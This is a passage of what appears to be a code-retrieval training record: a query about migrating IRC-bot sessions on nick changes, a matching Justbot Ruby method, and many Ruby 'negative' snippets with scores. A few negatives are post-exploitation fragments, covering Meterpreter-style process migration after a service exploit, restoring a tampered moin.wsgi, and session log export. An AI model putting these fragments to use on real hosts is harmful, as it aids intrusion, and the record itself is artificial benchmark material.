"def details\n return @description + \"; \" + @doctorname + \"; \" + @medicine + \": \" + \"#{@cost}\"\n end",
"def details\n return \"ID = #{@id}\\n\" + \n \"Name = #{@name}\\n\" + \n \"Topic = #{@topic}\\n\" + \n \"Member Count = #{@member_count}\"\n end",
"def description\n name + ': ' + resource_type.to_s + ' | Sueldo: ' + salary.to_s +\n ' | Experiencia: ' + experience.to_s + ' años'\n end",
"def show\n\t\traise NotImplementedError, \"FIXME: Implement showing comments.\"\n\tend",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect\n \"#{self.class}<#{@description.inspect}>\"\n end",
"def description\n end",
"def description\n end",
"def details\n return \" #{@description}, #{@lastname}, #{@date}. #{@start}, #{@hours}, #{@players}, #{@zone}. #{@cost}\"\n end",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def details\n return @description + \"; \" + @manufacturer + \"; \" + @color + \": \" + \"#{@cost}\"\n end",
"def to_s\n \"#{self.title} - #{self.author} - #{self.date}\"\n end",
"def details\r\n return @description + \": \" + \". \" + @basic_profile.details\r\n end",
"def show\n #not needed for our implementation\n end",
"def to_s\n super\n end",
"def modeler_description\n return 'Gather orientation and story specific construction, fenestration (including overhang) specific information'\n end",
"def details_partial_for(o)\n \"#{o.class.name.underscore}s/details\"\n end",
"def display\n puts \"Personal Details\"\n puts \" Name : #{self.name}\"\n puts \" Date of Birth : #{self.dob}\"\n puts \" Marital Status : #{self.marital_status}\"\n puts \" Mobile Number : #{self.mobile_number}\"\n puts \" Email : #{self.email}\"\n end",
"def detail\n attributes.fetch(:detail)\n end",
"def detail\n attributes.fetch(:detail)\n end"
] |
[
"0.68170065",
"0.68142146",
"0.6758589",
"0.6718451",
"0.66697186",
"0.6655344",
"0.6632312",
"0.66273594",
"0.6550127",
"0.65188134",
"0.6497969",
"0.6480078",
"0.6477721",
"0.6472211",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64367676",
"0.6434794",
"0.63974625",
"0.6391661",
"0.6385164",
"0.63826483",
"0.63826483",
"0.63621265",
"0.63584715",
"0.6352767",
"0.6347243",
"0.6345342",
"0.63338625",
"0.6325844",
"0.6320725",
"0.6320725",
"0.6316434",
"0.6311974",
"0.6311425",
"0.63111603",
"0.6307294",
"0.63050634",
"0.6301272",
"0.62848294",
"0.627871",
"0.6277492",
"0.62770176",
"0.6274702",
"0.6274702",
"0.62604547",
"0.62543267",
"0.6251651",
"0.625114",
"0.62487584",
"0.62225854",
"0.6214293",
"0.6214293",
"0.6212906",
"0.62095803",
"0.62095803",
"0.62095803",
"0.62095803",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6200787",
"0.6198166",
"0.61830676",
"0.6179759",
"0.617746",
"0.61753553",
"0.61619484",
"0.6157944",
"0.61527485",
"0.615132",
"0.615132",
"0.61505795",
"0.6144682",
"0.6144682",
"0.6144682",
"0.6144682",
"0.61351794",
"0.6133033",
"0.61300874",
"0.61294436",
"0.61242044",
"0.6121309",
"0.61148214",
"0.61109483",
"0.6108956",
"0.6108956"
] |
0.0
|
-1
|
migrate sessions whenever nicks are changed
|
def listen(m)
oldmask = m.user.mask.to_s.split('!')
oldmask[0] = m.user.last_nick
oldmask = oldmask.join('!')
s = Justbot::Session.for(oldmask)
if s
synchronize(:session) do
s.mask = m.user.mask
end
else
debug "no session found for mask '#{oldmask}'"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def migrate_user_data\n if logged_in? && session.key?(:user_name)\n # Mocks the response from URS providing only the necessary keys to store the user data\n store_user_data('endpoint' => \"/api/users/#{session[:user_name]}\")\n\n # Remove this old value from the session\n session.delete(:user_name)\n end\n end",
"def refresh_session\n update_session(30.days.from_now)\n update_last_session\n end",
"def update_login_timestamps\n if current_enrollment && current_enrollment.last_seen # when an enrollment is created, it's last_seen value is set\n \n if current_enrollment.last_seen < 4.hour.ago # 4 hours is somewhat arbitrary\n current_enrollment.events.new_session.create\n end\n\n # note that there is activity (since this before filter happens for any activity)\n current_enrollment.update_attribute(:last_seen, Time.now)\n end\n end",
"def session_reconnect_state\n super\n end",
"def setup_sessid_compatibility!\n # Reset column info since it may be stale.\n reset_column_information\n if columns_hash['sessid']\n def self.find_by_session_id(session_id)\n find_by_sessid(session_id)\n end\n\n define_method(:session_id) { sessid }\n define_method(:session_id=) { |session_id| self.sessid = session_id }\n else\n class << self; remove_possible_method :find_by_session_id; end\n\n def self.find_by_session_id(session_id)\n where(session_id: session_id).first\n end\n end\n end",
"def swap_realm_ids()\n @conn = Mongo::Connection.new(DB_HOST)\n @db = @conn.db(SYSTEM_DB_NAME)\n @dbTenant = @conn.db(DB_NAME)\n realm_col = @db.collection('realm')\n user_sessions = @db.collection('userSession')\n custom_roles = @dbTenant.collection('customRole')\n to_swap = [\n {\"unique_realm_id\" => \"Shared Learning Collaborative\", \"placeholder\" => \"ADMIN_REALM_ID_PLACEHOLDER\"},\n {\"unique_realm_id\" => \"Shared Learning Collaborative\", \"placeholder\" => \"SANDBOX_REALM_ID_PLACEHOLDER\"},\n ]\n\n to_swap.each do |realm|\n realm_ent = realm_col.find_one({\"body.uniqueIdentifier\" => realm['unique_realm_id']})\n\n if realm_ent\n puts \"Swapping realm ID for #{realm['unique_realm_id']}\"\n realm_id = realm_ent['_id']\n update_count = 0\n user_sessions.find({\"body.principal.realm\" => realm['placeholder']}).each do |row|\n user_sessions.update({\"_id\" => row[\"_id\"]}, {\"$set\" => {\"body.principal.realm\" => realm_id}})\n update_count = update_count + 1\n end\n puts \"\\tUpdated #{update_count} user sessions\"\n\n update_count = 0\n custom_roles.find({\"body.realmId\" => realm['placeholder']}).each do |row|\n custom_roles.update({\"_id\" => row[\"_id\"]}, {\"$set\" => {\"body.realmId\" => realm_id}})\n update_count = update_count + 1\n end\n puts \"\\tUpdated #{update_count} custom roles.\"\n\n else\n puts \"Skipping realm ID swap for #{realm['unique_realm_id']}\"\n end\n end\nend",
"def setup_sessid_compatibility!\n # Reset column info since it may be stale.\n reset_column_information\n if columns_hash['sessid']\n def self.find_by_session_id(*args)\n find_by_sessid(*args)\n end\n\n define_method(:session_id) { sessid }\n define_method(:session_id=) { |session_id| self.sessid = session_id }\n else\n class << self; remove_possible_method :find_by_session_id; end\n\n def self.find_by_session_id(session_id)\n where(session_id: session_id).first\n end\n end\n end",
"def records_session_maintenance\n if (current_user and session[:tmp_user])\n # Find all the tmp_users records\n tmp_user.records.each do |record|\n # Don't duplicate them if the current user already saved these records\n unless current_user.records.where(external_system: record.external_system, external_id: record.external_id).present?\n # But reassign them to this current user from the tmp user\n existing_record = Record.find(record.id)\n existing_record.tmp_user = nil\n existing_record.user = current_user\n existing_record.save!\n end\n end\n # Get rid of the tmp user for the session\n session.delete(:tmp_user)\n # Reload from the DB, so we don't destroy the\n # records we just saved.\n tmp_user.records.reload\n # Sweep the leg\n tmp_user.destroy\n end\n end",
"def write_connection_to_last_logins\n\n database = read_from_client_info_store(:current_database)\n\n last_logins = read_last_logins\n min_id = nil\n\n last_logins.each do |value|\n last_logins.delete(value) if value && value[:sid] == database[:sid] && value[:host] == database[:host] && value[:user] == database[:user] # Aktuellen eintrag entfernen\n end\n if params[:saveLogin] == \"1\"\n last_logins = [database] + last_logins # Neuen Eintrag an erster Stelle\n write_last_logins(last_logins) # Zurückschreiben in client-info-store\n end\n\n end",
"def _session_update sid = \"\", uid = 0\n\t\tds = DB[:_sess].filter(:sid => sid, :uid => uid.to_i)\n\t\tds.update(:changed => Time.now) if ds.count > 0\n\tend",
"def user_session_update sid = \"\", uid = 0\n\t\tds = Sdb[:user_sess].filter(:sid => sid, :uid => uid.to_i)\n\t\tds.update(:changed => Time.now) if ds.count > 0\n\tend",
"def _set_session(env, sid, new_session, options)\n logger.debug \"Setting session #{new_session.inspect}\" \n ses_obj = sessions.find_one( { :_id => sid } )\n if ses_obj\n logger.debug \"Found existing session for -- #{sid.inspect}\"\n session = MongoRack::SessionHash.new( deserialize( ses_obj['data'] ) )\n else\n logger.debug \"Unable to find session for -- #{sid.inspect}\"\n session = MongoRack::SessionHash.new\n end\n \n if options[:renew] or options[:drop]\n sessions.remove( { :_id => sid } )\n return false if options[:drop]\n sid = generate_sid\n sessions.insert( {:_id => sid, :data => {} } )\n end\n old_session = new_session.instance_variable_get('@old') || MongoRack::SessionHash.new\n logger.debug \"Setting old session -- #{old_session.inspect}\" \n merged = merge_sessions( sid, old_session, new_session, session )\n\n expiry = options[:expire_after]\n expiry = expiry ? Time.now + options[:expire_after] : 0\n\n # BOZO ! Use upserts here if minor changes ?\n logger.debug \"Updating session -- #{merged.inspect}\" \n sessions.save( { :_id => sid, :data => serialize( merged ), :expire => expiry } )\n return sid\n rescue => boom \n logger.error \"#{self} Hoy! Something went wrong. Unable to persist session.\"\n logger.error $!.inspect\n boom.backtrace.each{ |l| logger.error l }\n return false\n end",
"def extend_session!\n @session_object.expire(Session.redis_namespace_ttl)\n @current_user&.identity&.expire(UserIdentity.redis_namespace_ttl)\n @current_user&.expire(User.redis_namespace_ttl)\n end",
"def establish_session(request)\n #puts \"Request for: #{request.url} - running before...\"\n if ((session[:ip_address] != request.ip) or\n (session[:created_at] < (Time.now() - 60 * 20))) # Session older than 20 minutes?\n #puts \"This looks like a new user!\"\n session[:ip_address] = request.ip\n session[:created_at] = Time.now()\n user_id = DB[:users].insert(:ip_address => request.ip,\n :referrer => request.referrer,\n :created_at => session[:created_at])\n session[:user_id] = user_id\n redirect \"/survey/step/1\", 302\n end\nend",
"def configure_training_session\n available_ledgers :training_session\n set_training_session\n end",
"def set_session\n \n end",
"def set_session(env, sid, new_session, options)\n# if options[:drop]\n# @sessions[sid] = nil\n# return false\n# end\n @sessions[sid] = new_session\n\n # Commit the repository, including session data.\n Maglev.commit_transaction\n return sid\n end",
"def remove_old_sessions\n candidates = find_old_sessions\n candidates.destroy_all\nend",
"def connect!\n sessions\n self\n end",
"def regenerate\n update_attributes(:session_id => Merb::SessionMixin::rand_uuid)\n self.needs_new_cookie = true\n end",
"def on_new_session(session)\r\n print_status(\"Trying to restore moin.wsgi...\")\r\n begin\r\n files = session.shell_command_token(\"find `pwd` -name moin.wsgi 2> /dev/null\")\r\n files.split.each { |file|\r\n print_status(\"#{file} found! Trying to restore...\")\r\n restore_file(session, file, moinmoin_template(file))\r\n }\r\n\r\n files = session.shell_command_token(\"find /usr/local/share/moin -name moin.wsgi 2> /dev/null\")\r\n files.split.each { |file|\r\n print_status(\"#{file} found! Trying to restore...\")\r\n restore_file(session, file, moinmoin_template(file))\r\n }\r\n print_warning(\"Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.\")\r\n rescue\r\n print_warning(\"Error while restring moin.wsgi, manual restoring would be required.\")\r\n end\r\n end",
"def set_session\n unless logged_in?\n create_new_user\n clear_old_sessions if $USE_SQL_SESSION_MANAGEMENT\n # expire home page fragment caches after specified internal to keep it fresh\n if $CACHE_CLEARED_LAST.advance(:hours => $CACHE_CLEAR_IN_HOURS) < Time.now\n expire_cache('home')\n $CACHE_CLEARED_LAST = Time.now()\n end\n end\n end",
"def reload\n @session_id = nil\n login\n end",
"def login_switch?\n secret_key = \"kill_bill_#{@host_name}!\"\n new_digest = current_user.id.to_s.encrypt(:symmetric, {:password => secret_key})\n if cookies[:layout_settings]\n # cookie name obfuscates intention ;)\n old_digest = cookies[:layout_settings].decrypt(:symmetric, {:password => secret_key}) \n unless old_digest.nil? or current_user.id == old_digest.to_i\n AccountCheater.add_switch(current_user, request, old_digest.to_i)\n end\n #set a fresh digest cookie\n cookies.delete(:layout_settings)\n end\n cookies[:layout_settings] = {:value => new_digest, :expires => 30.days.from_now}\n end",
"def nicks\n match(/Nicks\\s+:\\s+([^\\s]+(?:\\s[^\\s]+)*)$/).split.map{|nick| Atheme::User.new(@session, nick)} rescue []\n end",
"def refresh_session\n self.update_attributes(session_expires_in: 30.days.from_now)\n end",
"def reset_sessions\n reset_session_expired_at\n @application_session.update_attributes(\n :expired_at=>session_expired_at\n )\n end",
"def invalidate_all_sessions!\n update(session_token: SecureRandom.hex)\n end",
"def regenerate \n \t @session_id = Merb::SessionMixin::rand_uuid \n \t self.needs_new_cookie=true \n \tend",
"def trim_session\n Rails.application.load_tasks\n Rake::Task['db:sessions:trim'].invoke\n end",
"def on_new_session(session)\n self.session_count += 1\n self.successful = true\n end",
"def regenerate\n store.delete_session(self.session_id)\n self.session_id = Merb::SessionMixin.rand_uuid\n store.store_session(self.session_id, self)\n end",
"def start_session\n self.update_attributes(session_expires_in: 30.days.from_now)\n end",
"def setup\n session[:user_id]=1\n end",
"def set_session_replica\n @session_replica = SessionReplica.find(params[:id])\n end",
"def group_sessions\n\t\n\tend",
"def index\n @sessions = BatchConnect::Session.all\n @sessions.each(&:update_cache_completed!)\n\n set_app_groups\n set_my_quotas\n end",
"def set_session_reconnect_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"def using_session(name, &block)\n self.last_used_session = name\n super\n ensure\n self.last_used_session = nil\n end",
"def start_session(nick)\n usr = User.first(:nickname=>params[:nickname])\n p User.all\n if usr != nil\n sid = gen_sessionid\n\n #associate nick with sid & IP & communication password\n $sessions[nick] = {:ip=>@env['REMOTE_ADDR'], :sid=> sid, :lastrequest=> Time.now.to_i}\n\n #return JSON with sessionid\n return {:sid => sid}\n end\n return 'error'\nend",
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def set_session\n session_id = SecureRandom.hex(4)\n @connections[:clients].each do |other_session, other_client|\n if session_id == other_session\n # session_id is not unique\n set_session\n end\n end\n session_id\n end",
"def connect_and_migrate\n return if @connected\n\n connect\n migrate\n end",
"def update_replication\n replication.stored = true\n replication.update_admin\n replication.update_local\n end",
"def migrate(session)\n\ttarget = 'cmd.exe'\n\tnewProcPid = launchProc(session,target)\n\toldProc = migrateToProc(session,newProcPid)\n\t#killApp(oldProc)\n \t#Dangerous depending on the service exploited\nend",
"def regenerate\n self.session_id = Merb::SessionMixin::rand_uuid\n self.needs_new_cookie = true\n self.save\n end",
"def start_session\n generate_token(:token)\n setup_session\n update_last_session\n end",
"def link_sessions(session1, session2)\n unlink_session(session1, session1[:_sipper_b2b_peer]) if session1[:_sipper_b2b_peer]\n session1[:_sipper_b2b_peer] = session2\n session2[:_sipper_b2b_peer] = session1\n session2.use_b2b_session_lock_from(session1)\n end",
"def logging_in\n\t\tguest_comments = guest_user.comments.all\n\t\tguest_comments.each do |comment|\n\t\t\tcomment.user_id = current_user.id\n\t\t\tcomment.save!\n\t\tend\n\t\tguest_notes = guest_user.notes.all\n\t\tguest_notes.each do |note|\n\t\t\tnote.user_id = current_user.id\n\t\t\tnote.save!\n\t\tend\n\t\tguest_likes = guest_user.likes.all\n\t\tguest_likes.each do |like|\n\t\t\tlike.user_id = current_user.id\n\t\t\tlike.save!\n\t\tend\n\tend",
"def setup\n @current_session = new_session\n end",
"def mys_setup current, &block\n user={id:current.id, token:current.auth_token}\n timer=Time.now\n session[:logged]={user: user, master: user.dup, timer: timer}\n block.call\n end",
"def replace_with(session)\n @recordings.each { |recording| recording.replay_on(session) }\n @server.replace_session(session)\n end",
"def extend_session!\n Rails.logger.info('SSO: ApplicationController#extend_session!', sso_logging_info)\n\n @session_object.expire(Session.redis_namespace_ttl)\n @current_user&.identity&.expire(UserIdentity.redis_namespace_ttl)\n @current_user&.expire(User.redis_namespace_ttl)\n set_sso_cookie!\n end",
"def reset_session_token!\n self.session_token = User.generate_session_token\n self.save!\n self.session_token\nend",
"def reset_session_token!\n\n self.session_token = User.generate_session_token\n self.save!\n self.session_token\n\nend",
"def logging_in\n guest_charts = guest_user.charts\n guest_charts.each do |chart|\n chart.user_id = current_user.id\n chart.save\n end\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save!\n # end\n end",
"def reset_session_counts\n self.session_count = 0\n end",
"def update_session\n auth = Knock::AuthToken.new(payload: to_token_payload)\n auth.token\n end",
"def after_remembered; end",
"def store_session(using_token)\n if self.token != using_token\n self.update_attribute(self.send(:\"#{self.class.meetup_token_field}\"), using_token)\n end\n end",
"def sessions_reset\n self.sessions_flush\n @sessions = {}\n end",
"def session\n end",
"def ready_remix() end",
"def refresh_session_token\n session_signature = Digest::MD5.hexdigest(@toodle_uid + Babar::Base.toodle_app_token) \n session_token_url = \"http://api.toodledo.com/2/account/token.php?\" + self.parse_params({:userid => @toodle_uid, :appid => Babar::Base.toodle_app_id , :sig => session_signature,})\n puts session_signature, session_token_url\n @session_token = JSON.parse(Typhoeus::Request.get(session_token_url).body)[\"token\"]\n @toodle_token_death = Time.now + Babar::Base.toodle_app_token_lifetime\n [@session_token, @toodle_token_death]\n end",
"def copy_session_variables!; end",
"def touch_auth_session\n if logged_in?\n auth_session.touch!\n end\n end",
"def renew_session\n @authenticator.kill_session\n @authenticator.get_session\n end",
"def generate_sid\n loop do \n sid = super\n break sid unless sessions.find_one( { :_id => sid } )\n end\n end",
"def refresh_session\n \t@watson_message = RoomMessage.create user: current_user,\n\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\troom: @room,\n\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\twatsonmsg: true,\n\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmessage: \"The session has expired. Starting a new chat.\",\n\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tparams: @room.params\n\t\tRoomChannel.broadcast_to @room, @watson_message\n\n\t\tauthenticator = Authenticators::IamAuthenticator.new(\n\t\t\tapikey: @room.apikey\n\t\t)\n\t\tassistant = AssistantV2.new(\n\t\t\tversion: \"2019-02-28\",\n\t\t\tauthenticator: authenticator\n\t\t)\n\t\tassistant.service_url = @room.serviceurl\t\n\t\tresponse = assistant.create_session(\n\t\t\tassistant_id: @room.assistantid\n\t\t)\n\t\t@room.sessionid = response.result[\"session_id\"]\n\t\t@room.save\n\t\t\n\t\t@welcome_message = RoomMessage.create user: current_user,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\troom: @room,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\twatsonmsg: true,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmessage: \"Welcome to Movie On Rails! How can I help you?\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tparams: @room.params\n\t\tRoomChannel.broadcast_to @room, @welcome_message\n end",
"def sessions=(value)\n @sessions = value\n end",
"def save_session(session)\n \n end",
"def migrate_database\n # Creating the new database\n ActiveRecord::Base.connection.execute(\"CREATE DATABASE `crowdvoice_installation_#{@new_install.name}`\")\n @default_config ||= ActiveRecord::Base.connection.instance_variable_get(\"@config\").dup\n\n # Connect to new database\n # TODO: Fix server name, shouldn't use the crowdvoice_installation prefix\n ActiveRecord::Base.establish_connection(@default_config.dup.update(:database => \"crowdvoice_installation_#{@new_install.name}\"))\n\n #Migrating database\n\n ActiveRecord::Migrator.migrate(\"db/migrate/\")\n @new_user = @old_user.clone\n @new_user.is_admin = true\n @new_user.save(:validate => false)\n @server_install = Installation.create(:email => @new_user.email, :name => \"crowdvoice-installation-#{@new_install.name}\")\n CustomAttribute.create(\n :name => @new_install.name,\n :logo => @new_install.name,\n :twitter => 'http://twitter.com/intent/tweet?source=webclient&text=Tracking+voices+of+protest+-+http%3A%2F%2Fwww.crowdvoice.org',\n :facebook => 'https://www.facebook.com/sharer.php?t=Tracking+voices+of+protest&u=http%3A%2F%2Fwww.crowdvoice.org',\n :title => @new_install.name,\n :message => \"Modify this message on your admin area!\")\n end",
"def run\n # Ensure this is never run with a dirty in-memory shard cache\n ::Switchman::Shard.clear_cache\n migrate_strands\n migrate_everything\n end",
"def register_logout_time_to_db\n return unless sorcery_config.register_logout_time\n\n current_user.set_last_logout_at(Time.current)\n end",
"def refresh_users\n @connections.each{|c| c.current_user.reload if c.current_user}\n end",
"def create_session\n session[:who_is_this] = \"admin\"\n end",
"def update_session(data)\n connection = self.class.session_connection\n if @id\n # if @id is not nil, this is a session already stored in the database\n # update the relevant field using @id as key\n if SmartSession::SqlSession.locking_enabled?\n self.class.query(\"UPDATE #{SmartSession::SqlSession.table_name} SET `updated_at`=NOW(), `data`=#{self.class.quote(data)}, lock_version=lock_version+1 WHERE id=#{@id}\")\n @lock_version += 1 #if we are here then we hold a lock on the table - we know our version is up to date\n else\n self.class.query(\"UPDATE #{SmartSession::SqlSession.table_name} SET `updated_at`=NOW(), `data`=#{self.class.quote(data)} WHERE id=#{@id}\")\n end\n else\n # if @id is nil, we need to create a new session in the database\n # and set @id to the primary key of the inserted record\n self.class.query(\"INSERT INTO #{SmartSession::SqlSession.table_name} (`created_at`, `updated_at`, `session_id`, `data`) VALUES (NOW(), NOW(), '#{@session_id}', #{self.class.quote(data)})\")\n @id = connection.last_id\n @lock_version = 0\n end\n end",
"def touch_session\n session[:touched] = 1\n end",
"def login_nadrowski\n nadrowski = User.find_by_login 'nadrowski'\n UserSession.create(nadrowski)\n end",
"def make_sessions_logs\n sessions_uuids = []\n sessions_info = []\n info = ''\n hist_file = ''\n hist_file_name = ''\n log_list = []\n\n # Create list of sessions with base info\n framework.db.workspace.events.each do |e|\n if not e.info.nil? and e.info[:session_type] =~ /shell/ or e.info[:session_type] =~ /meter/\n if e.info[:command] != 'load stdapi'\n if not sessions_uuids.include?(e.info[:session_uuid])\n sessions_uuids << e.info[:session_uuid]\n sessions_info << {:uuid => e.info[:session_uuid],\n :type => e.info[:session_type],\n :id => e.info[:session_id],\n :info => e.info[:session_info]}\n end\n end\n end\n end\n\n sessions_uuids.each do |su|\n sessions_info.each do |i|\n if su == i[:uuid]\n print_line(\"Exporting Session #{i[:id]} history\")\n hist_file_name = \"#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime('%Y%m%d.%H%M%S')}.log\"\n i.each do |k, v|\n info << \"#{k.to_s}: #{v.to_s} \"\n end\n break\n end\n end\n hist_file << \"# Info: #{info}\\n\"\n info = ''\n framework.db.workspace.events.each do |e|\n if not e.info.nil? and e.info.has_key?(:command) or e.info.has_key?(:output)\n if e.info[:session_uuid] == su\n if e.info.has_key?(:command)\n hist_file << \"#{e.updated_at}\\n\"\n hist_file << \"#{e.info[:command]}\\n\"\n elsif e.info.has_key?(:output)\n hist_file << \"#{e.updated_at}\\n\"\n hist_file << \"#{e.info[:output]}\\n\"\n end\n end\n end\n end\n\n # Set RC file path and file name\n session_hist_path = ::File.join(Msf::Config.log_directory, 'projects', framework.db.workspace.name)\n session_hist_fullpath = ::File.join(session_hist_path, hist_file_name)\n\n # Create folder\n ::FileUtils.mkdir_p(session_hist_path)\n\n print_line(\"Saving log file to #{session_hist_fullpath}\")\n file_write(session_hist_fullpath, hist_file)\n hist_file = ''\n print_line('Log file written')\n log_list << session_hist_fullpath\n end\n\n return log_list\n end",
"def init_session\n if session\n if session.updated_at < Time.now - ::Gricer.config.max_session_duration\n self.session = Session.create previous_session: session, ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n else\n self.session.touch\n end\n else\n self.is_first_in_session = true\n self.session = Session.create ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n self.session.touch\n end\n \n session\n end",
"def turn_on\n self.class._start_session\n end",
"def sessions(*names)\n Evolver.register(self.name, file(caller[0]), time(caller[0]), names)\n end",
"def renew_twofa_session(user)\n twofa_tries = session[:twofa_tries_counter].to_i + 1\n destroy_twofa_session\n setup_twofa_session(user, twofa_tries)\n end",
"def autologin_the_user\n #unless logged_in?\n # FrontendUserSession.create(params[:frontend_user_session])\n #end\n end",
"def write_session(env, sid, session, options); end",
"def update_views_count\n views = session[:counter]\n if views.nil?\n views = 1\n else\n views += 1\n end\n session[:counter] = views\n views\n end",
"def maintain_session_and_user\n if session[:id]\n if @application_session = Session.find_by_id(session[:id])\n @application_session.update_attributes(:ip_address => request.remote_addr, :path => request.path_info)\n @user = @application_session.person\n else\n flash[:notice] = \"Excuse me, but your session data appears to be outdated. Do you mind logging in again?\"\n session[:id] = nil\n redirect_to(root_url) #If he has an incorrect session id, send to root\n end\n end\n end",
"def set_session\n ses = Session.find_or_create_by(\n account: self,\n )\n ses.update(expires_at: 10.minutes.from_now)\n end",
"def create_admin_session(admin)\n session[:admin] = { :user => admin, :session_start_time => Time.now }\n end",
"def set_session(env, sid)\n raise '#set_session needs to be implemented.'\n end",
"def reconnect\n end",
"def refresh_secret!\n set_secret\n save!\n end",
"def session=(_arg0); end",
"def new_pg_info(session)\n result = nil\n save_result = postgres_exec(\"INSERT INTO session_replicas (start_date,created_at,updated_at,origin_id,info) VALUES ('#{session.start_date_time.utc.strftime('%Y-%m-%d %H:%M:%S')}',NOW(),NOW(),#{session.id},JSON('#{USERS_POSTGRES_CONNECTION.escape_string(session.to_lactic_json)}'))\")\n result = save_result && save_result.cmd_tuples()!=0\n\n result\n\n end",
"def session_reset(db_user) # User record\n # Clear session hash just to be sure nothing is left (but copy over some fields)\n winh = session[:winH]\n winw = session[:winW]\n session.clear\n session[:winH] = winh\n session[:winW] = winw\n\n session[:userid] = db_user.userid\n\n # Set the current userid in the User class for this thread for models to use\n User.current_userid = session[:userid]\n\n session[:username] = db_user.name\n\n # set group and role ids\n session[:group] = db_user.miq_group.id # Set the user's group id\n session[:group_description] = db_user.miq_group.description # and description\n role = db_user.miq_group.miq_user_role\n session[:role] = role.id # Set the group's role id\n\n # Build pre-sprint 69 role name if this is an EvmRole read_only role\n session[:userrole] = role.read_only? ? role.name.split(\"-\").last : \"\"\n\n # Save an array of groups this user is eligible for, if more than 1\n eg = db_user.eligible_miq_groups.sort{|a,b| a.description.downcase <=> b.description.downcase}\n session[:eligible_groups] = db_user.nil? || eg.length < 2 ?\n [] :\n eg.collect{|g| [g.description, g.id]}\n\n # Clear instance vars that end up in the session\n @sb = @edit = @view = @settings = @lastaction = @perf_options = @assign =\n @current_page = @search_text = @detail_sortcol = @detail_sortdir =\n @exp_key = @server_options = @tl_options =\n @pp_choices = @panels = @breadcrumbs = nil\n end",
"def reset_registration_ids\n if session[:user_id] then\n user = User.find(11)\n user.update_attribute(:registration_id, \"XX\")\n #User.all.each do |user|\n # if user.id == 11 then\n # user.update_attribute(:registration_id, \"XX\")\n # #user.registration_id = \"\"\n # #user.save(validate: false)\n # end\n #end\n render nothing: true, status: :ok\n else\n redirect_to admin_login_url\n end\n end",
"def seed_sessions\n [expired_session, expiring_session, never_expiring_session].map(&:first)\n end"
] |
[
"0.5848199",
"0.57532746",
"0.5500663",
"0.5500062",
"0.5484407",
"0.5453377",
"0.54375523",
"0.54311216",
"0.5419326",
"0.5413572",
"0.53056794",
"0.530056",
"0.52477354",
"0.52464783",
"0.5245627",
"0.52243704",
"0.5208756",
"0.5205467",
"0.5205287",
"0.51825094",
"0.5180466",
"0.5179147",
"0.51784474",
"0.51273435",
"0.51228625",
"0.51186687",
"0.5113128",
"0.51060563",
"0.5103011",
"0.5089501",
"0.5084666",
"0.5083998",
"0.50690895",
"0.5054181",
"0.5051399",
"0.50493574",
"0.5040969",
"0.5039678",
"0.50392854",
"0.50104886",
"0.50072056",
"0.50072056",
"0.50072056",
"0.50072056",
"0.50013196",
"0.49891993",
"0.49851263",
"0.4979682",
"0.49721858",
"0.49697238",
"0.49681103",
"0.49642316",
"0.4963743",
"0.49595833",
"0.49491954",
"0.49449927",
"0.49415928",
"0.49378267",
"0.49307036",
"0.49290475",
"0.49214658",
"0.49206358",
"0.492025",
"0.4908184",
"0.48963946",
"0.48878396",
"0.4886473",
"0.48814625",
"0.48798123",
"0.48771998",
"0.48770303",
"0.48746687",
"0.48604137",
"0.48487374",
"0.48458895",
"0.48424646",
"0.48377287",
"0.48357645",
"0.48321453",
"0.4826041",
"0.48234853",
"0.48205447",
"0.48105174",
"0.48077458",
"0.47949293",
"0.47937843",
"0.47910658",
"0.47874877",
"0.47864598",
"0.47808516",
"0.4777658",
"0.47749287",
"0.47702423",
"0.47695154",
"0.47650605",
"0.4757636",
"0.47519058",
"0.47460198",
"0.47453246",
"0.47408423",
"0.47381678"
] |
0.0
|
-1
|
create a session for the messaging user and try to authenticate them with the password
|
def auth(m, password)
user = Justbot::Models::User.first(:name => m.user.nick)
if user.nil? or not user.authenticates? password
sleep 1 # prevent timing attacks?
m.reply(INVALID_USER_OR_PASSWORD, true)
return
end
s = Justbot::Session.new(user, m.user.mask)
# start session
start_session(s)
# run the hooks that any plugins may have
# this allows plugins to decrypt thier models with the user's password
bot.plugins.each do |plugin|
if plugin.respond_to? :session_authenticated
plugin.session_authenticated(s, password)
end
end
# tell the user as though they'd run the "session?" command
session_info(m)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_session\n login, password = get_login_and_password\n create_session_with authenticate_user(login, password, :trace => true)\n end",
"def create_session\n req_params = params[:user]\n unless req_params\n @msg = \"Login details not found\"\n render \"objects/msg.json\", status: :unauthorized and return\n end\n @user = User.find_by_email(req_params[:email])\n if @user && @user.authenticate(req_params[:password])\n session[:user_id] = @user.id\n render 'objects/user.json'\n else\n @msg = \"Email or password is invalid\"\n render \"objects/msg.json\", status: :unauthorized\n end\n end",
